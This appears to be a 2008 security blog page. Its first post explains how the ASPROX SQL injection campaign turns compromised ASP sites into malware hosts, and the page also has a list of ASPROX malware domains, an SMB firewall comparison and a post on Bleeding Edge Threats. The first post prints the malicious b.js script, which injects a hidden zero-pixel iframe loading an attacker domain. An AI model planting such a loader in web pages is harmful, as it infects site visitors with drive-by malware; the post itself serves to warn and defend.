Monday, June 30, 2008

ASPROX SQL Compromised my website, now what?

Many people are calling and emailing us for information about ASPROX and something most people seem to be unaware of is how this affects the visitors of your infected website?

So I will walk you through what happens:

Once your ASP website is compromised by the ASPROX SQL Injection you now host malware. A malicious piece of javascript "b.js" is loaded from one of the domains listed in my previous posts, the javascript creates a "asprox was here" cookie and opens a hidden 0 pixel iframe from yet another bad domain which is "the malware can of worms". These domains constantly rotate IP's (for protection from blocklisting) using fast flux dns.

Here is sample contents from the javascript (b.js):

window.status="";
var cookieString = document.cookie;
var start = cookieString.indexOf("updatebng=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+12*1*60*60*1000);
document.cookie = "updatebng=update;expires="+expires.toGMTString();
try{
document.write("iframe src=http//supbnr.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0 /iframe");
}
catch(e)
{
};
}


The malware can vary but is typically a mishmash of exploits which target several recent browser based vulnerabilities in quicktime, adobe reader, flash and even AOL instant messenger. Once a vulnerable client goes to your site the malware is successfully loaded and not only becomes a zombie slave within the ASPROX botnet (the same hosts that attacked your webserver) it also installs various nefarious programs like a password stealer which defrauds you of your online accounts. Infected clients are reported to be sending out bank phishing emails as well.

So in short review for those who are not-so-technical...

if you have a website infected with ASPROX and not cleaned/updated/secured, your website is infecting and spreading malware to others who simply viewed your site in their browser



That means you have an obligation to address this problem immediately! Please contact us for the information packet on ASPROX defense today.

Thursday, June 26, 2008

ASPROX SQL Injection Attacks cont.

ASPROX continues to ravage the web, please contact us for the information packet we put together with defense suggestions.

New ASPROX malware domains: app52.com, appid37.com, apps84.com, asp27.com, asp72.com, script46.com, ssl39.com, st212.com, cid26.com, dl251.com, getbwd.com, st212.com, asp707.com, aspssl63.com, aspx49.com, batch29.com, bin963.com, bios47.com, hlpgetw.com, lang34.com, update34.com, westpacsecuresite.com

Wednesday, December 12, 2007

SMB Firewall 2.0 - Open Source vs Commercial

Many companies are updating their old firewalls or investigating newer "next gen" options with more features. I've recently helped customers evaluate these options and came up with some surprising results.

Cisco ASA5505 10user IPSEC ~$375

Netscreen 5gt 10user IPSEC ~$450

Sonicwall TZ170 10user IPSEC ~$400

3com/Tippingpoint X5 ~$600

While the quality of hardware is nice, I found the commercial offerings available for the small/medium sized business space is very limited in functionality and open source solution to be much more feature rich (and free!)

Lets review some of the options:

Pfsense - Very feature rich, easy to use and slick web based management (based on m0n0wall)

M0n0wall - Stable freebsd based firewall with all the basics + more such as QoS and Wifi AP support.

Shorewall - Linux based firewall packages with QoS and many other features

Thursday, December 6, 2007

Matt Jonkman leaves Bleeding Edge Threats...

Understand this has been over blogged, but for us Snort ninjas and open source lovers who have seen the evolution of community driven Snort rules are very worried, why is this?

Because having a secure network should not be like healthcare, everyone should have free access to protection and bleeding edge threats was on the forefront of providing this.

Well Matt good luck my friend and thanks for all you have done, I am skeptical that the site will continue to flourish as it was your hardwork that made it the quality security resource it is.

That being said Snort 2.8.x is amazing and new attack signatures will have to be submitted somewhere, the question is will a new community portal arise to take the torch from Bleeding Edge?

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